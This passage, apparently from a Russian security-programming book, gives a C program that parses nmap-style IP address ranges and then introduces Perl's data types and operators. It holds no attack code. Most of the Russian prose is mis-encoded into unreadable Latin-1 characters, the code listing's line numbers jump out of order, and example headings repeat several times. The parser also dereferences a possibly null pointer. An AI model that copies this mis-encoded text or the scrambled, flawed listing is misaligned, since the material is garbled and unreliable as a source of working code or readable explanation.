çàäàëà ñòàíäàðò äëÿ ðàçáîðà óêàçàííûõ â êîìàíäíîé ñòðîêå IP-àäðåñîâ. Îäíà-
êî, åñëè âû êîãäà-ëèáî ïûòàëèñü ðàçîáðàòüñÿ â èñõîäíûõ òåêñòàõ Nmap, òî
ïîíèìàåòå, ÷òî ýòî çàäà÷à íå äëÿ ñëàáûõ äóõîì.

Íèæå ïðèâåäåí ðàáîòàþùèé ïðèìåð ïðîãðàììû ýôôåêòèâíîãî ðàçáîðà
IP-àäðåñà, íàïèñàííîé íà ÿçûêå C. Ïðîãðàììó ìîæíî îòêîìïèëèðîâàòü
â Microsoft Visual Studio. Ïðîãðàììà ñîñòîèò èç 5 ôàéëîâ. Ïîñêîëüêó ìû ëèøü
õîòåëè ïðîäåìîíñòðèðîâàòü ïîäõîä ê ðåøåíèþ çàäà÷è, òî îíà íå äåëàåò íè-
÷åãî, êðîìå âûâîäà àäðåñîâ íà stdout. Â ðåàëüíîé ïðîãðàììå íåòðóäíî áûëî
áû ïîìåñòèòü ýòè àäðåñà â ìàññèâ.

1  /*

2   * ipv4_parse.c

3   *

4   */

5  #include <stdio.h>

6  #include <stdlib.h>

7  #include <string.h>
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 8
 9  #include "ipv4_parse.h"

10
11  /*

12   * ipv4_parse_sv()

13   *

14   *

15   */

16  static

17  int ipv4_parse_sv(ipv4_parse_ctx *ctx,

18                    int             idx,
19                    char           *sv)
20  {

21   int wc = 0;
22   int x  = 0;
23
24   // ïðîâåðèòü, åñòü ëè â çíà÷åíèè ìåòàñèìâîëû (âåñü äèàïàçîí 0-255)
25   wc = (strchr(sv, '*') == NULL ? 0 : 1);
26   if(wc)
27   {
28     if(strlen(sv) != 0x1)
29     {
30       return(-1);
31     }
32
33     for(x=0; x <= 0xFF; ++x)
34     {
35        ctx->m_state[idx][x] = 1;
36     }
37   }
38   // îäèíî÷íîå çíà÷åíèå (íàïðèìåð, "1", "2", "192", "10")
39   else
40   {
41     ctx->m_state[idx][(unsigned char) atoi(sv)] = 1;
42   }
43
44   return(0);
45  }

46
47  /*
48   * ipv4_parse_r()

49   *

50   *

51  */
52  static
53  int ipv4_parse_r(ipv4_parse_ctx *ctx,
54                   int             idx,
55                   char           *r )

56  {

Язык C#
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157  unsigned char hi = 0;
158  unsigned char lo = 0;
159  char         *p1 = NULL;
160  int           x = 0;
161
162  // ðàçîáðàòü ëåâóþ è ïðàâóþ ãðàíèöó äèàïàçîíà
163  p1  = strchr(r, '-');
164  *p1 = '\0';
165  ++p1;
166
167  lo = (unsigned char) atoi(r );
168  hi = (unsigned char) atoi(p1);
169
170  // åñëè ëåâàÿ ãðàíèöà áîëüøå ïðàâîé,
171  // âåðíóòü îøèáêó (íàïðèìåð, "200-100").
172  if(lo >= hi)
173  {
174    return(-1);
175  }
176
177  // ñ÷èòàòü äèàïàçîí äîïóñòèìûì
178  for(x=lo; x <= hi; ++x)
179  {
180    ctx->m_state[idx][x] = 1;
181  }
182
183  return(0);
184 }
185
186 /*
187  * ipv4_parse_tok()
188  *
189  *
190  */
191 static
192 int ipv4_parse_tok(ipv4_parse_ctx *ctx,
193                    int             idx,
194                    char            *tok)
195 {
196  int ret = 0;
197
198  // åñòü ëè âíóòðè çíà÷åíèÿ "-", îçíà÷àþùèé, ÷òî äèàïàçîí
199  // (íàïðèìåð, "1-5"); åñëè íåò, ñ÷èòàòü îäèíî÷íûì çíà÷åíèåì ("1",
100  // "2", "*"), èíà÷å äèàïàçîíîì ("1-5")
101  ret = (strchr(tok, '-') == NULL) ?
102                ipv4_parse_sv(ctx, idx, tok) :
103                ipv4_parse_r (ctx, idx, tok);
104  return(ret);
105 }
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106
107 /*
108  * ipv4_parse_octet()
109  *
110  *
111  */
112 static
113 int ipv4_parse_octet(ipv4_parse_ctx *ctx,
114                      int             idx,
115                      char            *octet)
116 {
117  char *tok = NULL;
118  int   ret = 0;
119
120  // ðàçîáðàòü îêòåòû, ðàçäåëåííûå çàïÿòûìè, åñëè
121  // çàïÿòàÿ ïðèñóòñòâóåò
122  tok     = strtok(octet, ",");
123  if(tok != NULL)
124  {
125    while(tok != NULL)
126    {
127      // ñ÷èòàòü, ÷òî êàæäîå îòäåëåííîå çàïÿòîé çíà÷åíèå – ýòî
128      // äèàïàçîí èëè îäèíî÷íîå çíà÷åíèå ("2-100", "7" è ò.ä.)
129      ret    = ipv4_parse_tok(ctx, idx, tok);
130      if(ret < 0)
131      {
132        return(-1);
133      }
134
135 tok = strtok(NULL, ",");

136    }
137  }
138  // åñëè çàïÿòîé íåò, ñ÷èòàòü äèàïàçîíîì èëè
139  // îäèíî÷íûì çíà÷åíèåì ("2-100", "7" è ò.ä.)
140  else
141  {
142    ret = ipv4_parse_tok(ctx, idx, octet);
143    if(ret < 0)
144    {
145       return(-1);
146    }
147  }
148
149  return(0);
150 }
151
152 /*
153  * ipv4_parse_ctx_init()
154  *
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155  * äèàïàçîí IP-àäðåñîâ òðàêòóåòñÿ êàê 4 ìàññèâà èç 256 çíà÷åíèé
156  * òèïà unsigned char. Êàæäûé ìàññèâ ïðåäñòàâëÿåò îäèí èç ÷åòûðåõ
157  * îêòåòîâ IP-àäðåñà. Ýëåìåíòû ìàññèâà ðàâíû 1 èëè 0 â çàâèñèìîñòè
158  * îò òîãî ïðåäñòàâëåí äàííûé àäðåñ â äèàïàçîíå èëè íåò.
159  * Íàïðèìåð, ïóñòü çàäàí òàêîé àäðåñ:
160  *
161  *
162  * char *range = "10.1.1.1";
163  *
164  * Òîãäà â ïåðâîì ìàññèâå 10-ûé áàéò áóäåò ðàâåí 1, à âî âòîðîì,
165  * òðåòüåì è ÷åòâåðòîì ìàññèâàõ 1 áóäåò ðàâåí ïåðâûé áàéò.
166  *
167  *
168  *
169  * Ïîñëå òîãî êàê äèàïàçîí ïîëíîñòüþ ðàçîáðàí è
170  * âñå çíà÷åíèÿ ñîõðàíåíû â ìàññèâàõ (ñîñòîÿíèÿ),
171  * ìîæíî âûïîëíèòü íåñêîëüêî öèêëîâ äëÿ îáõîäà
172  * äèàïàçîíà.
173  *
174  * Íèæå ïðèâåäåí ïðèìåð ñèíòàêñèñà çàäàíèÿ IP-àäðåñîâ
175  * â êîìàíäíîé ñòðîêå â ñòèëå ïðîãðàììû nmap:
176  *
177  * Ïðèìåð:
178  *
179  * "192.168.1,2,3,4-12,70.*"
180  *
181  *
182  *
183 */
184 int ipv4_parse_ctx_init(ipv4_parse_ctx *ctx,
185                         char           *range)
186 {
187  char *oc[4];
188  int   x = 0;
189
190  if(ctx   == NULL ||
191     range == NULL)
192  {
193    return(-1);
194  }
195
196  memset(ctx, 0x00, sizeof(ipv4_parse_ctx));
197
198  // ðàçîáðàòü äèàïàçîí IP-àäðåñîâ íà 4 îêòåòà
199  if((oc[0] = strtok(range, ".")) == NULL ||
200     (oc[1] = strtok(NULL , ".")) == NULL ||
201     (oc[2] = strtok(NULL , ".")) == NULL ||
202     (oc[3] = strtok(NULL,  ".")) == NULL)
203  {
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204    return(-1);
205  }
206
207  // ðàçîáðàòü êàæäûé îêòåò
208  if(ipv4_parse_octet(ctx, 0, oc[0]) < 0 ||
209     ipv4_parse_octet(ctx, 1, oc[1]) < 0 ||
210     ipv4_parse_octet(ctx, 2, oc[2]) < 0 ||
211     ipv4_parse_octet(ctx, 3, oc[3]) < 0)
212  {
213    return(-1);
214  }
215
216  return(0);
217 }
218
219 /*
220  * ipv4_parse_next_addr()
221  *
222  * Ýòà ôóíêöèÿ ñëóæèò äëÿ îáõîäà óæå ðàçîáðàííîãî
223  * äèàïàçîíà IP-àäðåñîâ.
224  *
225  *
226  *
227  *
228  *
229  *
230 */
231 int ipv4_parse_next(ipv4_parse_ctx *ctx,
232                     unsigned int   *addr)
233 {
234  if(ctx  == NULL ||
235     addr == NULL)
236  {
237    return(-1);
238  }
239
240  for( ; ctx->m_index[0] <= 0xFF; ++ctx->m_index[0])
241  {
242    if(ctx->m_state[0][ctx->m_index[0]] != 0)
243    {
244      for( ; ctx->m_index[1] <= 0xFF; ++ctx->m_index[1])
245      {
246        if(ctx->m_state[1][ctx->m_index[1]] != 0)
247        {
248          for( ; ctx->m_index[2] <= 0xFF; ++ctx->m_index[2])
249          {
250            if(ctx->m_state[2][ctx->m_index[2]] != 0)
251            {
252              for( ; ctx->m_index[3] <= 0xFF; ++ctx->m_index[3])
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253              {
254                if(ctx->m_state[3][ctx->m_index[3]] != 0)
255                {
256                  *addr =
257                     ((ctx->m_index[0] <<  0) & 0x000000FF) ^
258                     ((ctx->m_index[1] <<  8) & 0x0000FF00) ^
259                     ((ctx->m_index[2] << 16) & 0x00FF0000) ^
260                     ((ctx->m_index[3] << 24) & 0xFF000000);
261                  ++ctx->m_index[3];
263
264                  return(0);
265                }
266              }
267              ctx->m_index[3] = 0;
268            }
269          }
270          ctx->m_index[2] = 0;
271        }
272      }
273      ctx->m_index[1] = 0;
274    }
275  }
276
277  return(-1);
278 }

Ôàéë i pv4_parse.c – ýòî  ñåðäöå  ïðîãðàììû. Îí ñîäåðæèò íåñêîëüêî  ôóíê-
öèé äëÿ âûïîëíåíèÿ íèçêîóðîâíåâîãî ðàçáîðà àäðåñà, êîòîðûå âûçûâàþò-
ñÿ èç óïðàâëÿþùåãî  ôàéëà main.c. Ôóíêöèÿ i pv4_parse_sv ðàçáèðàåò îòäåëü-
íûå ÷èñëîâûå çíà÷åíèÿ (sv îçíà÷àåò «single value» – îäèíî÷íîå çíà÷åíèå).
Ñíà÷àëà îíà ïðîâåðÿåò, íå ÿâëÿåòñÿ ëè îäèíî÷íîå çíà÷åíèå ìåòàñèìâîëîì
(çâåçäî÷êîé) è äîïóñòèìà ëè åãî äëèíà. Çàòåì â öèêëå for ðåçóëüòèðóþùèå
çíà÷åíèÿ çàíîñÿòñÿ â ìàññèâ m_state. Ôóíêöèÿ i pv4_parse_r ðàçáèðàåò äèà-
ïàçîí IP-àäðåñîâ, îïðåäåëÿÿ åãî íèæíþþ è âåðõíþþ ãðàíèöó. Ôóíêöèÿ
i pv4_parse_tok âûÿñíÿåò, íåò ëè â èññëåäóåìîì çíà÷åíèè ñèìâîëà «ìèíóñ»
(–). Ýòî âàæíî äëÿ òîãî, ÷òîáû çíàòü, ïðåäñòàâëÿåò ëè çíà÷åíèå äèàïàçîí àä-
ðåñîâ ëèáî  îäèí èëè íåñêîëüêî  îòäåëüíûõ àäðåñîâ. Ôóíêöèÿ i pv4_parse_octet
ðàçáèðàåò ÷èñëà, ðàçäåëåííûå çàïÿòûìè; òàê áûâàåò, êîãäà â êîìàíäíîé
ñòðîêå çàäàí ñïèñîê àäðåñîâ, à íå öåëûé äèàïàçîí. IP-àäðåñà îáû÷íî ïðåä-
ñòàâëÿþòñÿ â òî÷å÷íî-äåñÿòè÷íîé íîòàöèè, òî åñòü ñîñòîÿò èç ÷åòûðåõ îä-
íîáàéòîâûõ ÷èñåë â äåñÿòè÷íîé çàïèñè, îòäåëåííûõ äðóã îò äðóãà òî÷êàìè.
Ôóíêöèÿ i pv4_ctx_init ñîçäàåò ÷åòûðå  ìàññèâà, â êîòîðûõ õðàíÿòñÿ ðàçîáðàí-
íûå  IP-àäðåñà. Ôóíêöèÿ i pv4_parse_next îáëåã÷àåò ïðîöåññ ðàçáîðà, ïåðåõîäÿ
ê  ñëåäóþùåé äåñÿòè÷íîé êîìïîíåíòå  àäðåñà, à ôóíêöèÿ i pv4_next_addr îáõî-
äèò óæå ðàçîáðàííûå äàííûå.
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 1 /*

 2  * main.c

 3  *

 4  */

 5
 6 #include <stdio.h>

 7 #include "ipv4_parse.h"

 8
 9 int

10 main(int argc, char *argv[])

11 {

12  ipv4_parse_ctx ctx; // context to hold state of ip range

13  unsigned int   addr = 0;
14  int ret  = 0;
15
16  if(argc != 2)
17  {
18    printf("usage: %s ip_range\r\n", argv[0]);
19    return(1);
20  }
21
22  // âíà÷àëå ïðîèçâåñòè ðàçáîð äèàïàçîíà IP-àäðåñîâ
23  ret    = ipv4_parse_ctx_init(&ctx, argv[1]);
24  if(ret < 0)
25  {
26    printf("*** îøèáêà ipv4_parse_ctx_init().\r\n");
27    return(1);
28  }
29
30  // ðàñïå÷àòàòü âñå IP-àäðåñà èç äèàïàçîíà
31  while(1)
32  {
33    // ïîëó÷èòü ñëåäóþùèé IP-àäðåñ èç äèàïàçîíà
34    ret = ipv4_parse_next(&ctx, &addr);
35    if(ret < 0)
36    {
37      printf("*** êîíåö äèàïàçîíà.\r\n");
38      break;
39    }
40
41    // íàïå÷àòàòü åãî
42    printf("ADDR: %d.%d.%d.%d\r\n",
43           (addr >>  0) & 0xFF,
44           (addr >>  8) & 0xFF,
45           (addr >> 16) & 0xFF,
46           (addr >> 24) & 0xFF);
47  }
48
49  return(0);
50 }
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Ìîæíî ñêàçàòü, ÷òî ôóíêöèÿ main â ôàéëå main.c óïðàâëÿåò ðàçáîðîì. Îíà
ïîëó÷àåò èç êîìàíäíîé ñòðîêè ïîäëåæàùèå ðàçáîðó IP-àäðåñà (ñòðîêà 10).
Â ñòðîêàõ 16–20 îáúÿñíÿåòñÿ, êàê çàïóñêàòü ïðîãðàììó, ïðè÷åì ýòà èíôîðìà-
öèÿ îòïðàâëÿåòñÿ íà ñòàíäàðòíûé âûâîä. Ñòðîêè 30–46 ñîñòàâëÿþò îñíîâíóþ
÷àñòü ïðîãðàììû. Â öèêëå  while âûçûâàåò ôóíêöèÿ i pv4_parse_next, êîòîðàÿ
ðàçáèðàåò î÷åðåäíîé àäðåñ, ïîñëå ÷åãî îí âûâîäèòñÿ íà ïå÷àòü.

 1 /*

 2  * ipv4_parse.h

 3  *

 4  */

 5
 6 #ifndef __IPV4_PARSE_H__

 7 #define __IPV4_PARSE_H__

 8
 9 #ifdef __cplusplus

10 extern "C" {

11 #endif

12
13 typedef struct ipv4_parse_ctx

14 {

15    unsigned char  m_state[4][256];
16    unsigned short m_index[4];
17
18 } ipv4_parse_ctx;

19
20 /*

21  * ipv4_parse_ctx_init()

22  *

23  *

24  */

25 int ipv4_parse_ctx_init(ipv4_parse_ctx *ctx,

26                         char *range);
27
28 /*

29  * ipv4_parse_next_addr()

30  *

31  *

32  */

33 int ipv4_parse_next(ipv4_parse_ctx *ctx,

34                     unsigned int   *addr);
35
36 #ifdef __cplusplus

37 }

38 #endif

39
40 #endif /* __IPV4_PARSE_H__ */

41
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ipv4_parse.h – ýòî  çàãîëîâî÷íûé ôàéë äëÿ ïðîãðàìì íà C/C++. Â íåì îáúÿâ-
ëåíû ïðîòîòèïû ôóíêöèé, îïðåäåëåííûõ â ôàéëå  i pv4_parse.c. Ïðåäâàðè-
òåëüíîå îáúÿâëåíèå ïðîòîòèïîâ ïîçâîëÿåò èçáåæàòü ïðåäóïðåæäåíèé, ãåíå-
ðèðóåìûõ êîìïèëÿòîðîì ñ ÿçûêà C. Äëÿ êîìïèëÿòîðîâ æå ñ ÿçûêà C++ îáúÿâ-
ëåíèå ïðîòîòèïîâ îáÿçàòåëüíî, ýòî ñâÿçàíî ñî ñòðîãîé òèïèçàöèåé ÿçûêà.
Ïðåäëîæåíèå extern «C» íåîáõîäèìî äëÿ òîãî, ÷òîáû êîìïèëÿòîð C++ íå
ïðåîáðàçîâûâàë èìåíà ôóíêöèé.

Язык Perl
Â 1987 ãîäó Ëàððè Óîëë (Larry Wall) ñîçäàë è ðàçîñëàë ïî ìíîãî÷èñëåííûì
êîíôåðåíöèÿì Usenet ÿçûê Perl. Ïåðâîíà÷àëüíî îí çàäóìûâàëñÿ êàê ÿçûê
ñöåíàðèåâ, èíòåãðèðóþùèé â ñåáå ìíîãèå ôóíêöèîíàëüíûå âîçìîæíîñòè
ðàçëè÷íûõ èíòåðïðåòèðóåìûõ ÿçûêîâ, óæå èìåâøèõñÿ ê òîìó âðåìåíè â ñè-
ñòåìå UNIX. Ýìóëÿöèÿ ôóíêöèé èç òàêèõ ÿçûêîâ, êàê sh, sed è awk â ñî÷åòà-
íèè ñ íàëè÷èåì ðåãóëÿðíûõ âûðàæåíèé ñïîñîáñòâîâàëî òîìó, ÷òî Perl ñòàë
ïîïóëÿðåí î÷åíü áûñòðî, à øèðîêîå ðàñïðîñòðàíåíèå Èíòåðíåò, ïîñëåäîâàâ-
øåå çà ðîæäåíèåì Âñåìèðíîé ïàóòèíû (WWW), ñäåëàëî Perl ÿçûêîì íîìåð
îäèí â ìèðå ñöåíàðèåâ.

Ïîïóëÿðíîñòü Perl ðîñëà ïî ìåðå ðàñøèðåíèÿ WWW, òàê êàê î÷åíü ñêî-
ðî îí ïðåâðàòèëñÿ â îäèí èç ñàìûõ ïðîñòûõ ìåòîäîâ íàïèñàíèÿ CGI-ïðèëî-
æåíèé (Common Gateway Interface – îáùèé øëþçîâîé èíòåðôåéñ). Òàêèå
ïðèëîæåíèÿ ïðèìåíÿþòñÿ äëÿ îòïðàâêè äèíàìè÷åñêîãî êîíòåíòà ïîëüçî-
âàòåëÿì Web è îáåñïå÷åíèÿ äîñòóïà ê áàçàì äàííûõ. Èíòåðôåéñ CGI îïðå-
äåëÿåò îáùèé ôîðìàò äàííûõ è ìåõàíèçìû âçàèìîäåéñòâèÿ ðàçëè÷íûõ
ïðèëîæåíèé. Ê ÷èñëó îáùåïðèçíàííûõ äîñòîèíñòâ Perl îòíîñÿòñÿ ãèáêîñòü
è ðåàëèçàöèÿ ðåãóëÿðíûõ âûðàæåíèé (regex). Íåðåäêî ïðèõîäèòñÿ ñëûøàòü
ìíåíèå, ÷òî ìîùü àïïàðàòà ðåãóëÿðíûõ âûðàæåíèé â Perl ïðåâîñõîäèò âñå
ïðî÷èå ðåàëèçàöèè. Ýòîò ìåõàíèçì ïîçâîëÿåò çàïèñûâàòü àëãîðèòìû ñîïî-
ñòàâëåíèÿ ñ îáðàçöîì è ñòðîêîâûõ ïîäñòàíîâîê îäíîé ñòðîêîé êîäà â ñëó÷à-
ÿõ, ãäå íà C ïðèøëîñü áû íàïèñàòü ñîòíè ñòðîê. Íàïðèìåð, ñëåäóþùåå âû-
ðàæåíèå èùåò â óêàçàííîé ñòðîêå âñå âõîæäåíèÿ ñëîâà «cat» è çàìåíÿåò èõ
íà «dog»:

$mystring =~ s/cat/dog/g;

Â ïðîãðàììå íà C ïðèøëîñü áû íàïèñàòü öèêë, êîòîðûé ñ÷èòûâàåò äàííûå
èç ñòðîêè, îáðàáàòûâàåò îòäåëüíûå ñèìâîëû, à çàòåì ïðîèçâîäèò çàìåíó îä-
íîé ïîäñòðîêè íà äðóãóþ. Êîíå÷íî, ýòî ãîðàçäî òðóäíåå è óòîìèòåëüíåå.

Язык Perl
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Ïðîãðàììèñòû, ðàáîòàþùèå â îáëàñòè áåçîïàñíîñòè, ñèñòåìíûå àäìèíèñò-
ðàòîðû, ñòóäåíòû è õàêåðû èñïîëüçóþò Perl ïî ðàçíûì ïðè÷èíàì: äëÿ íàïè-
ñàíèÿ êîììåð÷åñêèõ ïðèëîæåíèé äëÿ Web, ñîçäàíèÿ èíñòðóìåíòàðèÿ äëÿ óï-
ðàâëåíèÿ çàäàíèÿìè, ðàçðàáîòêè ñëîæíûõ îáúåêòîâ è êëàññîâ äëÿ áèîèíæå-
íåðèè, ïðîñòûõ ñ÷åò÷èêîâ äëÿ Web-ñòðàíèö è ðàçíîãî ðîäà óòèëèò. Ñðåäè
ïîïóëÿðíûõ èíñòðóìåíòîâ, îòíîñÿùèõñÿ ê áåçîïàñíîñòè è íàïèñàííûõ íà
Perl, ìîæíî íàçâàòü Whisker, Narrow Security Scanner è Wellenreiter, íå ãîâîðÿ
óæå î ìíîæåñòâå «ýêñïëîéòîâ», àòàêóþùèõ èìåþùèåñÿ óÿçâèìîñòè êàê ëî-
êàëüíî, òàê è óäàëåííî.

Ìíîãèå ñïåöèàëèñòû ïî áåçîïàñíîñòè âûáèðàþò â êà÷åñòâå ÿçûêà ñöåíà-
ðèåâ Perl, ïîòîìó ÷òî îí ðàáîòàåò íà âñåõ ïëàòôîðìàõ, îáåñïå÷èâàåò ïðîñòîé
äîñòóï ê ñîêåòàì, ïîçâîëÿåò ïîäêëþ÷àòü áèíàðíûé êîä, äà è âîîáùå ÿâëÿåòñÿ
îáùåïðèíÿòûì. Áëàãîäàðÿ äèñòðèáóòèâàì GNU Perl è ActiveState Win32 Perl,
èìåþòñÿ áåñïëàòíûå âåðñèè èíòåðïðåòàòîðà äëÿ îïåðàöèîííûõ ñèñòåì
Microsoft 95/98/ME/NT/2000/XP/.NET, Solaris, NetBSD/OpenBSD/FreeBSD, Irix,
HPUX, Red Hat è äðóãèõ äèñòðèáóòèâîâ Linux.

Типы данных

Îáúÿâëåíèå ïåðåìåííûõ â Perl äåëàåòñÿ î÷åíü ïðîñòî. Ñóùåñòâóåò òðè îñíîâ-
íûõ òèïà äàííûõ: ñêàëÿðû, ìàññèâû è õýøè. Â îòëè÷èå îò ÿçûêîâ ñ áîëåå æåñò-
êîé ñòðóêòóðîé, Perl îáðàáàòûâàåò ñèìâîëû, ñòðîêè è ÷èñëà åäèíîîáðàçíî,
àâòîìàòè÷åñêè îïðåäåëÿÿ òèï äàííûõ. Èìåíà âñåõ ñêàëÿðîâ íà÷èíàþòñÿ
ñ ñèìâîëà $. Íàïðèìåð, ÷òîáû ïðèñâîèòü çíà÷åíèå 5 ïåðåìåííîé Gabe, íàäî
íàïèñàòü $Gabe = 5;. Âàæíî îòìåòèòü, ÷òî â îòëè÷èå îò áîëüøèíñòâà òèïèçè-
ðîâàííûõ ÿçûêîâ, îáúÿâëÿòü ïåðåìåííóþ äî åå èíèöèàëèçàöèè íåîáÿçà-
òåëüíî, ìîæíî ñðàçó ïðèñâîèòü åé çíà÷åíèå. Ìàññèâû èëè ñïèñêè â Perl äèíà-
ìè÷åñêèå, èõ èìåíà íà÷èíàþòñÿ ñ ñèìâîëà @. Ìàññèâ ìîæåò ñîäåðæàòü ñèìâî-
ëû, ÷èñëà èëè ñòðîêè. Êðîìå òîãî, â Perl åñòü âîçìîæíîñòü èñïîëüçîâàòü
ìàññèâû ìàññèâîâ. Â ïðèìåðå 1.25 ñîçäàåòñÿ ìíîãîìåðíûé ìàññèâ, ñîäåðæà-
ùèé â ñîâîêóïíîñòè âîñåìü ýëåìåíòîâ.

Пример 1.25.Пример 1.25.Пример 1.25.Пример 1.25.Пример 1.25. Создание в Perl многомерного массива из восьми элементов
Îïðåäåëåíèå
@ArrayOfArray = (
    [ "foster", "price" ],
    [ "anthony", "marshall", "chad" ],
    [ "tom", "eric", "gabe" ]
);
print $ArrayOfArray[2][2];

Íàïå÷àòàíî
gabe
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Õýøè, èëè àññîöèàòèâíûå ìàññèâû ïîçâîëÿþò õðàíèòü äàííûå â ìàññèâå,
èíäåêñèðîâàííîì ñòðîêîé, à íå ÷èñëîì. Â ìàññèâå, èíèöèàëèçèðîâàííîì,
êàê ýòî ïîêàçàíî â ïðèìåðå 1.26, õðàíÿòñÿ ñòðîêè è ñîîòâåòñòâóþùèå èì
÷èñëîâûå äàííûå.

Пример 1.26. Пример 1.26. Пример 1.26. Пример 1.26. Пример 1.26. Хэши
@jobs = ("Coder", 21,
         "Programmer", 24,
         "Developer", 27);

Èñêàòü ýëåìåíò â òàêîì ìàññèâå ìîæíî, óêàçûâàÿ âìåñòî ÷èñëîâîãî èí-
äåêñà ñòðîêó. Â ïðèìåðå 1.27 ïåðâàÿ ñòðîêà âîçâðàùàåò çíà÷åíèå 27, âòîðàÿ –
24, à òðåòüÿ – 21.

Пример 1.27.Пример 1.27.Пример 1.27.Пример 1.27.Пример 1.27. Задание строки для извлечения данных из ассоциативного
массива
$jobs{"Developer"};
$jobs{"Programmer"};
$jobs{"Coder"};

Â Perl åñòü ñðåäñòâà äëÿ ïðåîáðàçîâàíèÿ ñïèñêîâ â õýøè è íàîáîðîò. Ýòî
îñîáåííî ïîëåçíî, êîãäà íàäî èçâëå÷ü ñðàçó íåñêîëüêî çíà÷åíèé èëè ïåðå-
áðàòü âñå ýëåìåíòû õýøà. Â ñëåäóþùåì ôðàãìåíòå êîä â ñòðîêå 1 ïðåîáðàçóåò
õýø â ñïèñîê, à êîä â ñòðîêå 3 âûïîëíÿåò ïðîòèâîïîëîæíóþ îïåðàöèþ.
Â ñòðîêå 2 ìû ññûëàåìñÿ íà òðåòèé ýëåìåíò ìàññèâà, ðàâíûé 24, êàê ñëåäóåò
èç ïðåäûäóùåãî ïðèìåðà.

1 @staticjobs = %jobs;
2 $staticjobs[3];
3 %jobscopy = @staticjobs;

Îáðàòèòå âíèìàíèå, ÷òî ïðåôèêñû %, @ è $ îáîçíà÷àþò ðàçíûå òèïû äàí-
íûõ. Êðàéíå âàæíî ïðè îáðàùåíèè ê êîíêðåòíîìó òèïó óêàçûâàòü ïðàâèëü-
íûé ïðåôèêñ.

Примечание

В предыдущем примере на печать выведена строка «gabe», а не
«marshall», поскольку нумерация элементов в массиве начинается
с [0][0], а не с [1][1].

Язык Perl
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Операторы

Â ÿçûêå Perl åñòü ïÿòü êàòåãîðèé îïåðàòîðîâ: àðèôìåòè÷åñêèå, ïðèñâàèâàíèÿ,
ëîãè÷åñêèå, ñðàâíåíèÿ è ñòðîêîâûå. Îïåðàòîðû ïðèìåíÿþòñÿ äëÿ èíèöèàëè-
çàöèè, ñðàâíåíèÿ, âû÷èñëåíèé è ìîäèôèêàöèè âûðàæåíèé èëè ïåðåìåííûõ.
Â òàáëèöå 1.1 ïåðå÷èñëåíû àðèôìåòè÷åñêèå îïåðàòîðû, èìåþùèåñÿ â Perl.

Таблица 1.1. Арифметические операторы в Perl

Оператор Назначение Пример

+ Возвращает сумму двух переменных $education +
$experience

– Возвращает разность двух переменных $education –
$experience

* Возвращает произведение двух $num1 * $num2
переменных

/ Возвращает частное от деления одной $num1 / $num2
переменной на другую

% Возвращает остаток от деления одной $num1 % $num2
переменной на другую

** Возвращает результат возведения $num1 ** $num2
в степень

Îïåðàòîðû ïðèñâàèâàíèÿ ïðèìåíÿþòñÿ äëÿ èíèöèàëèçàöèè è ìàíèïóëè-
ðîâàíèÿ ñêàëÿðíûìè ïåðåìåííûìè, íî íå ìàññèâàìè. Áóäó÷è ïîõîæè íà
àðèôìåòè÷åñêèå îïåðàöèè, îïåðàòîðû ïðèñâàèâàíèÿ çàïèñûâàþò â èìåþ-
ùèéñÿ ñêàëÿð íîâîå çíà÷åíèå ñ ïîìîùüþ îäíîãî-åäèíñòâåííîãî âûðàæå-
íèÿ. Íàïðèìåð, åñëè èñõîäíîå çíà÷åíèå ñêàëÿðà $number ðàâíî 5, òî â ðåçóëü-
òàòå âû÷èñëåíèÿ âûðàæåíèÿ $number += 2; åìó áóäåò ïðèñâîåíî çíà÷åíèå 7.
Â òàáëèöå 1.2 ïåðå÷èñëåíû âñå îïåðàòîðû ïðèñâàèâàíèÿ.

Таблица 1.2. Операторы присваивания в Perl

Оператор Назначение Пример

= Присваивает значение переменной $num1 = 10
$gabe = «red»

++ Увеличивает значение переменной на 1 $num1++
++$num1

— Уменьшает значение переменной на 1 $num1—
—$num1

+= Увеличивает значение переменной на $num1 += 10
указанную величину и присваивает
переменной новое значение

�= Уменьшает значение переменной на $num1 �= 10
указанную величину и присваивает
переменной новое значение
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Таблица 1.2. Операторы присваивания в Perl (окончание)

Оператор Назначение Пример

*= Умножает значение переменной на $num1 *= 10
указанную величину и присваивает
переменной новое значение

/= Делит значение переменной на $num1 /= 10
указанную величину и присваивает
переменной новое значение

**= Возводит значение переменной $num1 **= 3
в указанную степень и присваивает $num2 = (3 **=
переменной новое значение $num1)

%= Делит значение переменной на $num1 %= 10
указанную величину и присваивает
переменной значение, равное остатку
от деления

x= Повторяет строку заданное число раз $jim x= 10
и присваивает получившееся значение
исходной переменной

.= Конкатенирует (сцепляет) две строки, $jim .= «my» $jim .=
дописывая вторую в конец первой $foster

Âûðàæåíèÿ, â êîòîðûõ âñòðå÷àþòñÿ ëîãè÷åñêèå îïåðàòîðû, ÷àùå âñåãî
óïîòðåáëÿþòñÿ â íà÷àëå òîé èëè èíîé óïðàâëÿþùåé ñòðóêòóðû äëÿ âûÿñíå-
íèÿ òîãî, ïî êàêîìó ïóòè äîëæíî ïðîäîëæèòüñÿ èñïîëíåíèå ïðîãðàììû.
Îïåðàòîð âû÷èñëÿåò çíà÷åíèÿ äâóõ âûðàæåíèé èëè ïåðåìåííûõ è âîçâðàùà-
åò true èëè false. Â òàáëèöå 1.3 îïèñàíû âñå òðè ëîãè÷åñêèõ îïåðàòîðà.

Таблица 1.3. Логические операторы в Perl

Оператор Назначение Пример

&& Возвращает true, если оба выражения ($x==1) && ($y==1)
истинны

|| Возвращает true, если хотя бы одно их ($x==1) || ($y==1)
двух выражений истинно

! Возвращает true, если выражение ложно !($cat == $dog)

Âî ìíîãèõ ïðîãðàììàõ äëÿ ïðîâåðêè è îöåíêè ðàçëè÷èÿ ìåæäó âåëè÷èíà-
ìè ïðèìåíÿþòñÿ îïåðàòîðû ñðàâíåíèÿ. Âàæíî ïîíèìàòü, ÷òî âñå îïåðàòîðû
ñðàâíåíèÿ âîçâðàùàþò áóëåâñêîå çíà÷åíèå: true èëè false. Â òàáëèöå 1.4 ïåðå-
÷èñëåíû îïåðàòîðû ñðàâíåíèÿ äëÿ ÷èñëîâûõ è ñòðîêîâûõ âåëè÷èí.

Таблица 1.4. Операторы сравнения в Perl

Для чисел Для строк Назначение Пример

== eq Возвращает true, если $num1 == $num2
значения равны $foo eq «bar»

Язык Perl
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Таблица 1.4. Операторы сравнения в Perl (окончание)

Для чисел Для строк Назначение Пример

!= ne Возвращает true, если $num1 != $num2
значения не равны $foo ne «bar»

> gt Возвращает true, если первое $num1 > $num2
значение больше второго $foo gt «bar»

< lt Возвращает true, если первое $num1 < $num2
